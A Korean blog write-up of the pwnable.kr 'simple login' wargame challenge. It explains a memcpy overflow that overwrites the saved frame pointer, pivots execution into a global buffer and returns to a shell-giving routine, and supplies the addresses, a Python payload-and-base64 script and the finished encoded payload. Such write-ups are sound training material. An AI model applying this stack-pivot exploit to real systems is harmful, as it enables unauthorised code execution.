본문 바로가기

Wargame/▷ pwnable.kr

[pwnable.kr] simple login

Pwnable.kr Simple Login


Main을 보면 먼저 입력을 받고 base64 디코딩한 문자열 크기를 v6 변수에 저장한 후에 memcpy(&input, B64DecodeStr, len(B64DecodeStr)) 이런식으로 옮기게 됩니다.

 

Auth 함수를 봤을 때 memcpy에서 취약점이 터지게 됩니다.

만약 저희가 12크기의 문자열을 넣는다면 sfp를 변조시킬 수 있습니다.

또한 auth 함수를 나가고 바로 leave ret 으로 가기 때문에 주소가 변하지 않는 input 전역변수 주소를 sfp에 넣고 전역변수 + 4 지점에 메인 ret에서 리턴할 주소를 Correct 문으로 넣는 다면 쉘을 딸 수 있습니다.

0x8049278 = Correct address

0x811eb40 = Global variable "input" start address

 

def base64_encode(str):
    b64_table = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="
    p = 0
    dest = []
    s = []
    en = []
    en_str = ''

    for i in str:
        s += en_binary_number(ord(i))

    arr = []
    for i in range(len(s)):
        arr.append(s[i])
        if (i + 1) % 6 == 0 and i != 0:
            dest.append(arr)
            arr = []

    if len(arr) % 6 != 0:
        p = (6 - len(arr)) / 2  # padding count
        for i in range(len(arr), 6):
            arr.append(0)
        dest.append(arr)

    for i in range(len(dest)):
        en.append(en_demical_number(dest[i]))

    for i in range(len(en)):
        en_str += b64_table[en[i]]

    en_str += (b64_table[64] * p)

    return en_str

def en_binary_number(str):
    bin = [0 for i in range(8)]
    for i in range(7, -1, -1):
        bin[i] = str & 1
        str >>= 1
    return bin


def en_demical_number(str):
    num = str[0]
    for i in range(1, 6):
        num = num * 2 + str[i]
    return num

if __name__ == '__main__':
    str = 'AAAA' + '\x78\x92\x04\x08' + '\x40\xeb\x11\x08'

    en = base64_encode(str)
    print 'encode : ' + en


또한 전에 짜둔 base64 암호화를 이용해 값을 추출하고 쉘을 땄습니다.


Encode : QUFBQXiSBAhA6xEI



'Wargame > ▷ pwnable.kr' 카테고리의 다른 글

[pwnable.kr] unexploitable  (0) 2018.07.08
[pwnable.kr] Dragon  (0) 2018.07.08
[pwnable.kr] passcode  (0) 2018.03.05
[pwnable.kr] flag  (0) 2018.01.31
[pwnable.kr] bof  (0) 2018.01.31